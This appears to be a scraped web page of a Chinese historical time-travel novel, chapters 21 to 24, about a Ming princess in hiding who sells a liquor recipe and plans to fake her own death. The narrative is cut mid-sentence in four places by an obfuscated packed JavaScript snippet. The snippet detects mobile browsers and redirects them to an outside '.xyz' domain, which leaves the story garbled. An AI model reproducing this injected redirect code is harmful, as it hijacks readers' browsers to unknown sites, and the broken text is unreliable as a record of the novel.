不会失败了吧……连嬅拿过碗,皱着鼻子嗅了嗅,被酒精味儿熏得头有点晕。不应该啊,明明颜色气味都没问题,酒头也掐了,究竟是哪里出了差错?她狠狠心,秉持着求真精神把剩下的一小口干了。 一阵天旋地转。 上辈子吃个酒心巧克力都能晕头的废柴,这辈子也毫无进步。一小口烧酒咽下去大脑一片空白,感觉魂在天上飘。 好在她喝醉酒不闹腾,只是安安静静地趴着,歪着头发呆。 张居正伸手在她眼前晃了晃,毫无反应。 酿酒的人酒量居然能这么差! 他起了玩心,试着逗她说话:“你叫什么名字?” 连嬅一字一顿地说:“玉、奴。” 估计是家里人起的小名。不过这酒她是怎么捣鼓出来的?口感醇厚,风味复杂,尽管张居正不是专业的品酒人,也认为是难得的甘醴。宫中御用配方吗? 他问:“今日找我,所为何事呢?” 连嬅眼神迷茫地思考着:“借钱。” “借多少?” 这个问题有点复杂。开一个酒馆起码需要租金,原料费用,装修费用——最重要的还是从哪里能买到高粱。她手上存了一点这几天出摊赚的钱,有几两来着…… 连嬅越想越觉得困,大脑放弃了思考,头一歪,彻底睡着了。 烧酒的醇香在空气里蒸腾着,第一次尝到这种新奇滋味的张居正没忍住又倒了小半碗,抿了几口,酒精终于上头,他也开始发晕。 ……这酒什么酿法,怎么能这么烈。 昏睡过去之前,这是他脑海里最后的想法。 来喊人吃饭的王六娘一推开书房的门,就闻到一股浓郁的酒香。大公子和连小姐头挨着头趴在书桌上,睡得格外香甜。她拍拍这个喊那个,结果两个醉鬼一个也叫不起来,只好给他们各披了一件厚外衣,任他们睡去了。 夜里不知道几更,连嬅饿醒了。她迷茫地坐起身,揉了揉眼睛,披在身上的外衣滑落到地上,在落针可闻的静室里声音格外清晰。 有些人喝醉了酒还有记忆,有些人会完全断片。连嬅不仅喝醉后断片,连着醉酒前的一部分也一起断了。 她现在只记得那把“倭扇”。 三十是晦日,没有月亮的夜晚,只能靠闪烁的星光勉强辨认轮廓。 ——桌子上还趴着一个人。 她撑着桌沿站起身,想悄悄溜走,椅子的四角却在地面划出刺耳的声响。另一个呼呼大睡的人终于被吵醒了,他发出低哑而模糊的声音,音节拖得很长:“谁——” ……早知道就该装睡的。 张居正从昏迷到彻底清醒只用了几个眨眼的功夫。他按按太阳穴,仰起头,看见一个身板笔直又僵硬,仿佛木头人的小姑娘。 “玉奴?” 连嬅错愕地瞪大了眼睛。 他莞尔:“不是你的小名吗?你喝醉了,自己告诉我的。” 窗前忽地窜进来一阵凉风,吹得连嬅胸腔里哗啦啦响。她悚然一惊:朱连嬅什么时候入侵到她的潜意识了? 上辈子那个遥远的连嬅从小到大穷怕了,活得非常抠门。租房子从来没用过冰箱,夏天三十八九度也能忍着不开空调,衣服一年未必买一件,一双运动鞋能穿十几年不换……尽管她毕业后月入两万。 但现在,她可以随手花三十两银子不眨眼,只在事后略感心痛。摆摊赚的几个铜板,更是看都懒得看,堆在一起。她对珍娘、王嬷嬷、甚至赵夫人都怀抱着一种同情,但仔细剖析,又更像是某种自上而下的怜悯。 因为朱连嬅不仅有权有势,还有双足够硬的拳头。对她而言,这个世界像个巨大的游乐场,而她是一个到处体验的玩家。她乐于伸张正义,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798540|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她潜意识里觉得自己可以为一切后果兜底。她可是太后娘娘的掌上明珠,在紫禁城里也能横着走,何况区区荆州府江陵县! 而更可悲的是,就算连嬅清楚地知道“拔了毛的凤凰不如鸡”,她也很难改变那颗高高在上的心。 在这个世界待得太久,她已经不再做自己的梦。有时候,她甚至觉得自己就是朱连嬅。那个活到二十二岁不幸猝死的现代女孩,更像一个遥远的幻梦。 “你怎么了?”张居正察觉出异样,探手摸了下她的脑门,一手冷汗,“着凉了?” “不,没什么。”连嬅偏过头想躲,没躲开,“我还说了别的吗?” “比如借钱?” 喝醉了倒还记得正事……她本来是打算给张居正画大饼的,比如冲出江陵,走向全国,三年之内在湖广开二十家分店,五年之内实现全国连锁,十年之内成为大明酒业寡头…… “你想借钱开酒馆?”这不难猜,但张居正有另外的想法,“为何不卖酒方呢?” 开店太不切实际了,她年纪小,家里也没有能帮上忙的。张居正和张文明得上学,张镇要值班,赵夫人性情和软,难以御下,其余的更不用提。 “诶?那不成了一锤子买卖?”开店可以源源不断地赚钱,直接把酒方卖了不等于杀鸡取卵吗? “立契拿分润,怎么就一锤子买卖了?” 说是这么说,如果别人拿了酒方不认账,赚了钱不给分红,她也无可奈何啊。 毕竟县衙比的不是谁有理,而是谁有钱…… 越思考,越饥饿,连嬅的肚子开始咕噜噜叫。她尴尬地按着自己的胃,试图压住声音,可惜无济于事。 “太晚了,明日再谈吧。”张居正体贴地站起身,“我们先去灶房找点吃的。” 王六娘给他们留了两碗剩面条,虽然专门倒过水,放这么久也是又凉又坨。张居正卷起袖子,点了柴火,准备加点水热一热。本来打算干活的连嬅被他抢了先,只能搬个小板凳坐在一边看锅。 “不是君子远庖厨吗?”她问。 张居正随口答道:“那是君子仁心,‘见其生,不忍见其死;闻其声,不忍食其肉’,和煮面条什么关系?” ……难道只有动物的命算命?面条也是麦子磨的!植命贵! 更鼓乍响,一声快,两声慢,然后是更夫拖长了尾音的“子时三更,平安无事——”。 十一点了。 连嬅捧着一碗剩面条,坐在灶房的板凳上,吸溜两口,忽然想起从她记事到今年,每一年的四月三十日,皇祖母都会亲手给她煮一碗长寿面,就像她上辈子的外婆一样。 她吃着吃着,莫名其妙地情绪上头,眼泪不受控制地往碗里滴。 “其实,今日是我的生辰。” 这是朱连嬅度过的最穷酸的生日,没有四方进贡的贺礼,没有摆满宫苑的长席,没有山呼海啸为她贺寿的人群……皇祖母长眠于泉下,而她有家回不得——只有一碗剩面条。 张居正听出她语气不对,搁下筷子安慰道:“你想家了?这里离承天府不远的……” “不,”连嬅摇摇头,吸了吸鼻子,落寞地说,“我没有家了。” 家是因为家人才存在的。嘉靖道长算什么父亲呢?分明是杀母仇人。 22. 第 22 章 连嬅的生母,陈皇后,在她出生后不久便撒手人寰。《明史》记载里,陈皇后和嘉靖是少年夫妻,因怀孕时见嘉靖与张、方二妃当面调情,一时气不过投杯而立。嘉靖大怒,“后惊悸,堕娠崩”。 究竟什么样的怒火能让一个孕妇吓到一尸两命?陈皇后病笃时,她父亲请求让妻子进宫探视,被嘉靖以“窥伺朝廷”为由痛斥。及至奄奄一息时,嘉靖还打算废除皇后名号,把人扔到冷宫等死,被杨一清苦苦劝阻,认为会使陛下“圣德蒙羞”,这才作罢。 连嬅的出生虽然给了陈皇后更光彩的身后之事,改变了嘉靖以葬礼规格羞辱陈皇后、“杀而又杀以至于无”的决定,将本要安在她头上的恶谥“悼灵”换为“孝洁”,但救不回年仅二十一岁的母亲的生命。 史书惯会颠倒黑白,把杀人的皇帝美化成“性严厉”,而迁罪于丢了性命的皇后“善妒”。 这个帝国最尊贵的女人也不过如此了。她一切的荣耀都来自于丈夫,碰上了刻薄寡恩的,只能叹一句命不好。 至于连嬅,母以子贵,反过来也一样。她出生后直到百日宴才第一次见到这位名义上的父亲。如果不是皇祖母坚持要把孙女留在身边,恐怕早被嘉靖丢到角落里自生自灭了。 七岁那年,嘉靖把内阁首辅张孚敬指给她做老师,满朝哗然,皆以为皇女盛宠如斯。其实连嬅只起到一个道具的作用——用来敲打甚至折辱张先生的道具。 王之诰家在石首县,离荆州府学二百多里地,放一天假都不够来回的,因此今年顺利进入府学后,干脆在城里买了房。 他家的经济状况比张家好得多,在石首县也是排得上号的大户——或者说府学里本就是这样的富贵子弟居多。父亲是个进士,官至府同知,还在外任。祖父行商做买卖,顺势在荆州城开了一家酒楼,可惜生意一般。 张居正说要为他介绍一条新财路时,王之诰虽然面上满不在乎,心里还是多少期待的。可一见客人,这种期待瞬间化为了哭笑不得。 “听闻张相公素性矜重,何以拿我取乐?” 张居正倒没急着解释,而是介绍道:“这是舍妹,姓连,在家行三。” ——他前面还有位兄长,只是早卒。 王之诰顺从地一拱手:“在下姓王,名之诰,石首县一书生耳。未闻连三娘有何见教?” 这不是男神他亲家公吗!这么早就勾搭上了! 连嬅眼神呆滞了一下,甚至没来得及在意他话里夹枪带棍的讥嘲。眼前的王之诰二十七八岁,头戴儒巾,身穿宽袍大袖的“襕衫”,行止端方,又隐隐透着点傲慢,是个标准得不能更标准的秀才公。 他比张居正晚了三年中举,却早三年中进士,宦海起伏三十年,最后官拜刑部尚书。人生履历里在兵部供职的时间颇长,属于大明经典的以文官行武事的代表之一。连嬅对他的印象除了是张居正的亲家公外,就是给监牢里的杨继盛送蛇胆酒,被杨继盛以“椒山自有胆”推拒。 ——好像还督造了连珠枪,据说能十发百弹齐飞,不知是真是假。 他说话不客气,连嬅回得也没那么客气:“敢问酒坊何在?愿往一观。” 王家的酒坊就在酒楼后院。荆州城里有两家最出名的酒坊,一个姓刘,一个姓王——可惜不是王之诰的王。他家属于初来乍到,又拿不出差异化有竞争力的产品,只能窝在两条地头蛇间的空隙里喘口气。 虽然生意不怎么样,酒坊盖得却挺气派,一应设施俱全,内有三位老师傅来回忙碌,见了王之诰,各自行礼喊一声“大公子”,又接着各忙各的。 ——处于下风,迫切需要提高竞争力;家底丰厚,完全出得起高价;同时人品上也有保证——不提张居正对他“素怀忠赤,当一面之寄”的评价,王世贞也认为其人“刚方不回”,总之绝对不是赚了钱不认账的人。 还真是最完美的买家。 凭着对张居正本人的信任,王之诰耐下心陪连三娘逛了一圈酒坊。起初,他对这个身材瘦小的垂髫稚儿不以为意,但多看几眼,竟觉得此子神气内敛,英华隐隐,风姿不俗,还自带一股捉摸不透的神秘感。 虽然对这小孩的身份尚存困惑——从未听说张居正家里还有个妹妹,而且姓连,但他面上倒是未显分毫,仍旧一副平和坦荡的样子。 “酒坊也看过了,不知连三娘有何事相告?” 很快他听到了连嬅的回应,或者说反问:“王公子能饮否?” 家里酿酒的,不说千杯不醉,也差不离。王之诰笑了笑,只说:“少酌尚可。” “那劳烦师傅温酒。”连嬅拿出随身的酒壶,里面盛着珍贵的半斤高粱烧酒。 酒坊的一位老师傅接过酒壶,唯唯应诺。 酒盖一开,似王之诰这样的老饕已嗅出不寻常的气息,他眼前一亮,刚熄灭不久的期待又重新燃起。 也不知酿酒的原料为何物,此酒不冲不净,却有股奇异又浓郁的芬芳,是王之诰二十几年来头一次得见。 他迫不及待地接过温好的一碗酒,浅尝一口,滋味醇厚,回味悠长,香而不艳,低而不淡,细品还带点果香、焦香,绝对的极品佳酿。 “在下以貌取人,险些失之子羽。不知此酒何名?以何物为曲?” 连嬅回道:“只是普通的小曲,若能换成大曲,风味将更胜一筹。” “至于酒名,以高粱酿成,所以叫高粱酒。” ——取名废是这样的。 王之诰恍然,果然不是寻常的米酒麦酒!却不知道高粱是什么酿法?他强自压抑着激动的心情,拱手再拜:“敢问这酒出自哪位师傅手笔,可否为在下引荐?” 连师傅转了转眼珠,微微一笑:“承蒙厚爱,酒放凉了滋味不好,公子若喜欢,可趁热饮完再叙。” 王之诰没有多想,又觉得这酒珍贵,浪费可惜,因此端起碗把剩下的全喝完了。 ——然后他不出意外地也倒下了。 酒坊里三位酿酒师傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802622|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓得不知所措,有位忠心的老仆还以为连嬅酒里下了药,威胁要报官。 “他只是喝醉了。” 张居正并没有跟来酒坊,而是留在后院书房等候。王之诰家里藏书丰富,随便挑一本就能消磨一下午。他捧着一本《大明律讲解》,看得正入神,听见推门声时抬眼一瞟,只看见连嬅一个。 “这么快就谈好了?” 连嬅说:“今日估计谈不成了。” 这倒有点意外。张居正放下书:“白契拟了吗?拿来我看看。” 明代百姓私下买卖,签的合同叫白契——这个合同是不受法律保护的。只有上报给衙门,由官府验证后盖印,变成红契,才具备法律效力。 “他被我灌醉了,睡得正香呢。不知道什么时候能醒。” 张居正听得一愣,而后无奈按了按眉心:“你把人灌醉了做什么,和醉鬼谈生意吗?” “谁知道他酒量这么差。”连嬅顿了顿,声音里带着点委屈,“而且我也没卖过酒方……” 言下之意是你怎么能把我一个人丢去酒坊,自己在书房偷闲! 张居正面对她的控诉睁大了眼睛,看起来无辜极了:“三娘如此聪慧,难道不是早有主意?为兄怎好插手添乱?” 连嬅幽幽地望着他,略显炸毛。 你指望一个从五百年后穿越过来的游魂深刻了解大明物价,还是指望一个深宫里衣来伸手饭来张口的皇女熟悉民间生活? 早就猜到她定不出价格——拿三十两银子雇吴珍娘一年的事还历历在目呢,所以张居正打趣完,顺毛一捋:“立契的具体条款,我和王兄对完,再交你核查,如何?” ——交给他负责当然再靠谱不过了。 “你们商量就好,不用给我看。”连嬅一摆手,毫不在意地说。 这份沉甸甸的信任让张居正有些受宠若惊:“你不怕我拟两份合同骗你钱吗?” 那还用骗这么麻烦?你想要多少拿多少啊——更何况也没几个钱。 她情真意切地回道:“你长得那么好看,做什么都对。” 张居正的表情从困惑变成了不可置信,然后他陷入了沉默。 ——哦豁,马屁好像拍到马腿上了。 王之诰一醉醉了一整晚,第二天上学险些迟到。他精神甫定,正想找张居正问清楚昨天那个酒究竟是何人所酿,何处能买,却被训导点了名。 从未觉得上午的课如此难熬! 好不容易挨到了午饭时间,总算能拉住张居正,他满肚子的疑惑一个接一个往外冒。 “那位连三娘是哪家的?怎么从前没听你提起过?” 张居正看他一眼,忽然笑了:“其实你之前见过她。” 这么特别的小孩,怎么可能见过却没有印象? “三月廿八,荆州城东。” 王之诰皱紧眉头,苦苦思索,终于想起了什么,一脸震惊。 “那个半死不活躺在路边的小乞儿?” 23. 第 23 章 这几天的醪糟玉米汤卖得格外快,那个花三两银子包一整桶的冤大头时常出现,来得早就买一桶,来得晚就把剩下的全包了,以至于木桶几乎一天换一个。几条街外的木工都和珍娘混熟了,以为她是专门卖桶的。 连嬅总觉得不对劲,又说不出哪里不对。 兴许人家就是忠实客户喝上瘾了呢?珍娘对她的杞人忧天不以为然,那个常来光顾的管事相貌堂堂,一看就不像是坏人。 酒方也卖得格外顺利。整个过程里连嬅只需要在立红契时出面按个手印,再把写好的方子交给王家那位管事。王之诰没露面,也许学业繁忙,这摊事就交给家里的下人打理了。 如果不算分红,连嬅只赚了一百两银子。但合同给的提成高得惊人,又约定每季结算一次。考虑到高粱在荆州府不易买到,原料成本估计不低,加上还有人工费场地费和给衙门的孝敬银子等等,她简直怀疑王之诰不想赚钱了。 ——这纯是有钱的王公子愧疚心作祟。想到这小孩差点因为他几句冷血的话死在路边,他就觉得多少要给点补偿,以安慰自己的良心。 更何况,这的确是惊世的好酒。哪怕给出较高的分润比例,也完全能赚不少。倘若酿造顺利,更会成为帮助王家在荆州府站稳脚跟的基石。 但筹备材料酿酒尚需时间,即使再快,到盈利拿分红也得下一季了。 随着红契签订完毕,重达六斤多的白银由王家的护院一路运到了张府门口。乍然暴富的连嬅怀揣巨款,恍惚到毫无实感。 她想着把钱给大家分一分,没想到赵夫人坚持不收,说是让她自己攒起来当嫁妆银子;王六娘也不要,说每天煮甜酒卖的钱已经分了她,这酒方和她可没关系;李惠芹倒是收了五两,哭得一塌糊涂,还给她磕了几个响头,拦都拦不住。 珍娘呢,比起这笔银子,她更在乎每天的玉米醪糟汤能不能多煮一点。 促成交易的最大功臣还在府学,得等半个月才能回,于是剩下九十五两都在连嬅手里。 干点什么好呢? 买鸡! 鸡蛋可是蛋白质含量丰富的营养品,家里这么多小孩,正该多补补。 连嬅踌躇满志地扎了鸡窝和鸡轱辘,又去市场买了七只鸡苗和两只蛋鸡。鸡苗还是便宜的,不过都是些杂交土鸡。 现代最常见的白羽鸡,原产地在国外,反正明代是见不到的。要是真见到了,说不定得被当地官员作为祥瑞进献给嘉靖,然后封个白羽真人供起来。 但她养鸡的蓬勃意愿,很快就被一场突如其来的夜雨浇熄了。 因为鸡瘟在这个年代,根本无解。 没有疫苗接种,无法进行定期消毒,特效药更是想都不用想。七只鸡苗相继倒下,甚至不知道是哪只传染了哪只,两只大的也病恹恹的,食量一天比一天小。 她记得小时候家里养鸡时,外婆会给病鸡喂牛黄解毒片。 人工牛黄1955年才被研制出来,天然牛黄更是价比黄金。买牛黄喂鸡,属于脑子秀逗了。 但是想想买这两只鸡也花了不少钱,岂能坐以待毙? 连嬅逛了好几家药铺,伙计一听说她不为治人,而为治鸡,纷纷面露难色。兜兜转转,竟然又走到了何家医馆。何太医和孙月娥不知道去了哪里,只剩一个何可柔在看店。 她靠坐在一把竹椅上,歪歪扭扭,坐没坐相,看到连嬅时眼前一亮,直起身:“诶?你是那个——” 想了半天,没想起叫什么名字,脸一红,卡住了。 连嬅笑着提醒:“我姓连。” 何可柔轻咳两声掩饰尴尬:“哦,连妹妹。” “怎么没见何太医?” “我爹跟我娘被人请去府上了,还不知道什么时候回呢。”何可柔回答完,见连嬅转身想走,又叫住她,“今天有人来店里打听你来着。” 连嬅心跳猛地漏了半拍,她转过身,拧起眉头:“打听我?是什么人?” “我也不确定是不是你……她问近两个月有没有十岁左右的女童来求医,我说有好几个。”何可柔回忆道:“是个跟我差不多高的道童,后面还跟了两个家丁,看着可威风了。” 道童?连嬅一颗心提到了嗓子眼:“她有说自己是谁吗?” 何可柔摇摇头:“这倒没有。她还问我那几个女童都住在哪里,我说我不知道,得等我爹他们回来。她让我有消息了去五柳巷找她。”说完,她又好奇地问了一句,“连妹妹,你有什么亲戚住五柳巷吗?” 何可柔确实不知情,何太医和孙月娥却清楚得很。如果不是他们碰巧不在,恐怕人已经摸到张府门口了。 连嬅心脏狂跳,眉头紧锁:“兴许吧,我去问问看。” 朱连嬅身边有三位随她修行的贴身侍女——在道家传统里,三为万物的起始与根源,她身边与三有关的东西格外多。她为这三个女童取名思危、思退、思变,和某知名电视剧里那位司礼监大太监的名言倒是不谋而合。 来的究竟是三思的哪一位,这不重要,重要的是她头上那一位的身份。 日暮四合,连嬅蹲在鸡窝前,看着自己空荡荡的鸡舍里两只病恹恹的母鸡,深深地叹了口气。 这件事怎么就没完没了了呢? 她是不相信道长和她之间有什么血浓于水的父女亲情的。之所以这么锲而不舍地找,多半是因为知道皇女失踪一事的人多,甚至不仅多,还都是皇帝近臣。哪怕为了面子,寻人这件事也不可能无疾而终。 既然如此,给一个交代不就好了。 她看着那两只病鸡,琢磨着,这样挣扎多没意思,不如让朱连嬅死得彻底点,彻底地和这一大片烂摊子切割,过她梦寐以求的、平静、安宁的生活。 仇鸾坚称皇女殿下为山贼所掳,还拿出了贴身布袍的一块作为证据。陆炳将信将疑,盘问消息来源后,得知唯一和殿下有过联系的时义已死于贼手,线索就此断裂。 他大惑不解:“若是为山贼所掳,为何贼犯不勒索财物,反而要杀人灭口?” 等的就是这一句!仇鸾挤出一副苦大仇深的样子:“恐怕杀人灭口的并非贼犯,而是不愿见殿下平安归来的恶徒啊。” 他话里藏刀,陆炳也不拐弯抹角:“仇将军以为是哪伙恶徒?” 那必然是当朝太师、翊国公、世袭武定侯、都掌禁军的郭勋! 但他不能说得这么直白:“大都督一查便知。那伙儿贼犯尚在城内!” 倘若陆炳把整个锦衣卫都带到了荆州,那的确可以一半去查贼犯,一半搜寻皇女殿下踪迹。可他只带了十个人,就得分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14807335|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清轻重缓急。 眼下最紧要的,自然是殿下的安危。 于是陆炳只派了两名锦衣卫护送殿下身边的道童思危进城,自己则领着其余八人上山寻人。可接连查了荆州附近几座大山头,不仅没找到人,甚至连半点消息也没有。 他不免开始怀疑仇鸾的消息真实性。 另一边,留守在城内的两名锦衣卫暗查纵火案消息,一路摸到了辽王府,不敢再查,只能先给陆炳传个信,等待下一步指示。 留在城内的思危已经等得如同热锅上的蚂蚁了,谁知道大都督什么时候能收到信?辽王府暂时去不了,她领着两名锦衣卫,在城内各家医馆药铺询问消息,可惜走了五天,仍旧苦寻不获。 仇鸾与李元阳的奏折一前一后,几乎同时飞向嘉靖的御案。 一封是弹文,另一封也是弹文。 仇鸾弹劾荆州府江陵知县抗旨不遵,拒开城门,阻挠公干,作为荆州府官的李元阳弹劾仇鸾拥兵自重,专权擅势,围困江陵,意图谋反。 大明的言官群体一向口水乱飞,无所不喷,互相扣帽子乃是常事。嘉靖登极以来批阅过的对骂弹文成百上千,要么两边各打五十大板,要么帮亲不帮理,这一次却选择了留中不发。 “真是胡闹!”他阴沉着脸色看完两份奏章,胸膛剧烈起伏后又很快恢复平静,“东湖那边,可有消息了?” 东湖是陆炳的号。高忠小心答话:“回禀皇上,奴婢等暂未见大都督传信。” 这件事已经拖得太久,嘉靖的耐心所剩无几。他沉思着,难道陆炳竟没听出他的暗示,以至于一个月过去还音讯全无? ——其实玉安公主究竟是人是鬼并不要紧,只要能把南巡遇刺之事彻底按下就好。 对这位来之不易的长女,嘉靖的态度是很复杂的。他登极七载,才有了这么一个孩子,偏偏是陈氏所出,眉眼像极了她那个不知好歹的母亲。 紫禁城这么大,他本打算把人丢去一边不理睬,任她自生自灭,少来碍眼,可她偏偏又带着祥瑞降生。母亲看重这个孙女,道士们也言之凿凿,说殿下乃是上天所赐的仙童,是皇上得道的天梯…… 百日宴那天,正是八月中旬。一夕之间,太液池的莲花开满了荷塘,陷入水涝的京畿一带更是迎来久违的旭日。于是仙童转世说愈演愈烈,他提起笔,为长女取名连嬅。 连嬅自然是他的骨肉,是他求仙证道的硕果,倘若她乖顺听话,愿意讨他欢心,那父女之间,自然能抛却前嫌,只留亲亲之情。 可她怎么就长了一身硌人的反骨? 她为宫女求情,为道童求情,为她的老师求情,为拦驾的饥民求情,却不肯臣服在君父脚下,乖乖地磕头认错。就像仁寿宫的白龟,乾清宫的白猫,御花园的白鹤一样,她明明只需要端坐在宝座上,当个社稷祥瑞就够了。 一朵莲花,凭什么有自己的意志呢? 所以落得如今这般田地,也是她自食其果,怨不得旁人。 嘉靖吐出一口浊气。他派人寻了这么久,已经足够顾念父女亲情。若她真有什么仙缘慧根,能逢凶化吉,自然是件好事;若是不幸夭折——这当然是最有可能的结果,那就葬于显陵,让这位天赐的仙童护佑母亲的魂灵。 他已经在为长女筹备丧礼了。 24. 第 24 章 连嬅如果是嘉靖肚子里的蛔虫,知道她的便宜爹已经在给她筹办丧事了,估计要大笑两声:果真是亲生的! 她何尝不是绞尽脑汁地策划朱连嬅的死局。 但死也是有讲究的。她推算着:无论是哪位倒霉鬼接过了仇鸾的衣钵,总要顺着前辈的进度条往下推。仇鸾给的消息是被山贼所掳,这个人就很可能正在荆州城外的群山之间辗转。倘若是个跟仇大将军一样的草包,估计转上两三个月也未必能转清楚。 留在城内的,兴许是在查杨柳巷别苑失火案。但这起案子已经死无对证,留下的唯一信息只指向辽王府。 辽王府!她心里一震,忽然有了个大胆的想法。但是这想法不仅需要天时地利,可能还需要一些运气。 她收了心,接着琢磨纵火案。朱宪节和朱连嬅无仇无怨,甚至基本没有瓜葛,跟仇鸾也许有行贿与受贿的关系,但绝没有深夜派人纵火的动机。 那会是谁躲在暗地里? 他能在仇鸾身边安插人手,他和朱连嬅结过仇,甚至想杀了她——不,也许只是觉得朱连嬅碍眼而已。倘若真欲除之而后快,还不如放长线钓大鱼,见了兔子再撒鹰。他把时义杀了灭口,岂不是主动断绝了联系朱连嬅的唯一方式? ——也许,他更希望朱连嬅就这么默默消失了最好。 连嬅许久不动的大脑开始了激烈的头脑风暴。她掌握的信息太有限,只能画个范围挨个排除:跟随嘉靖南巡的重臣里,郭勋、仇鸾属于勋贵一派,与她毫无交集;高忠、黄锦属于宦官,忠于皇室,没有任何动机谋害皇女;陆炳,更不可能,在朱连嬅的记忆里,他和张孚敬都属于恩师一类,一武一文——也是经常顶着一张无可奈何的脸,把偷跑出宫的皇女殿下“请”回去的人。 那就只剩下文官。在嘉靖十八年的时间节点上,她能想到的只有两个人:夏言和严嵩。 主观上,夏言是豪迈强直的诤臣,而严嵩是遗臭万年的奸臣,她自然地产生偏向,更怀疑是严嵩、或者他那个独眼的儿子严世蕃在幕后操控;但客观上,朱连嬅也许真和夏言有些冲突——毕竟她的恩师张孚敬就是被夏言斗倒的。 连嬅搜肠刮肚,想了一上午,列了无数个人名,试图翻出这些彼此关联的名字里隐藏着的蛛丝马迹,忽然听到有人急切地拍门。 她迎出去,门外站着一个十五六岁的少年,衣衫破烂,人倒是收拾得挺干净。梳着两个锃亮的鬏儿,发型有点像哪吒。她认得这孩子,似乎叫做狗子,是个挺精细的人。这几天连嬅当上甩手掌柜后,珍娘一个人忙不过来,就偶尔雇他帮点忙。 狗子正值变声期,嗓音跟鸭子一般无二。他气还没喘匀,慌忙开口道:“珍娘回来了吗?” 连嬅瞳孔一缩,隐隐觉得不妙:“不是在外面摆摊吗?” 狗子额头上起了密密麻麻一层汗珠,焦眉苦眼地说:“人不见了!” 好端端的,怎么会说不见就不见呢? “你说清楚,珍娘怎么不见的?你最后看见她是在哪?” 狗子大喘了一口气:“那位常来买酒的许掌柜今日来晚了,我们本来打算收摊,他说家里的小姐一定要喝,买不到就得挨打。珍娘拿了醪糟跟去,然后就不见了。” 连嬅追问:“你去找过许掌柜吗?” “他说珍娘煮完甜酒就回摊位了,我一直没等到人,还以为她回了家,这才跑过来问。”狗子说完,咽口唾沫,“现在咋办,要报官吗?” “听说珍娘她爹是个赌鬼,说不准是她爹欠了谁的钱,把她害了……” 这也不无可能,但那个许掌柜显然嫌疑最大。 “你先等下。”连嬅来不及多想,转身跑回自己的耳房,从包袱里拿出两块碎银子,约摸二三两,然后把匕首塞进袖子里,犹豫了一下,又把藏了许久的火铳也揣在腿上。 她把银子递给狗子:“你先去衙门报官,县衙要是不管就去荆州府衙,我到别处找找。如果……如果明天上午我还没回来,你就去五柳巷喊‘思危’,有人来问你时,告诉她玉奴在城北杠子街许家。” ——虽然来的不一定是思危,但其他两位听到了,也会出来一见的。 “记住了吗?” 狗子点点头。 许掌柜主家也姓许,就在城北,离张家不太远。连嬅跟灶房里忙活的王六娘打了个招呼,说王家酒坊那边需要她去帮点忙。 “诶,午饭快好了——”王六娘想让她吃了饭再去,话没出口,人已经跑开了。她只好无奈一笑,“这孩子,一天到晚风风火火的。” 连嬅拎着裙摆一路疾奔,没理会过路人异样的脸色,一刻多钟就跑到了许府的侧门。 大户人家,虽然是侧门,门口也布置得花红柳绿。连嬅杵在门口,摸了下袖里的匕首,如果想悄无声息地潜进去,白天是不太可能的。现在刚过晌午,她等得起,珍娘未必等得起。 她伸手拍了拍门上的铁环。 门房应声问:“哪位客人?来找谁的?” “我找你们许掌柜的——” 吱呀,门应声被人拉开,一个低眉顺眼,戴着顶瓜皮帽的小厮走出来,见了她,先是一怔,继而笑道:“许掌柜的在院里忙呢,我带你去见他?” 这态度,倒好像盼着她来一样。 果然不对劲。 连嬅抚了下自己“砰砰”乱跳的心脏,快速整理思绪,露出感激又带点焦急的笑容:“多谢。” 这家也是个富户,虽没有杨柳巷那边层层叠叠,但依旧是一道墙隔着一道墙。一路走过来,丫鬟婆子没见几个,差不多装扮的小厮倒是不少——偶尔还有略显眼熟的。 这把火铳质量如何?吓唬人用会炸膛吗?匕首倒是足够锋利,可看这家的护卫,起码得有三五十人。她纵然有以一敌十的勇气,但对面如果也是练家子,甚至配了弩箭呢?狗子能把她的话完整带到吗? 虽然涌出种种担忧,但她竟然意外地镇定。她心里隐隐浮出一个答案——并且如果这个答案正确,她不仅很快就能以一种合情合理的姿态,把“朱连嬅”这个身份埋了,还能发挥下余热,造福荆州府的百姓。 倘若说这段时间还有那么一个人祈祷“朱连嬅”平安无事,那绝不会是嘉靖,甚至也不是连嬅自己,而可能是陆炳。 他从小随母亲进入王府,侍奉在兴王世子左右。嘉靖即位后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 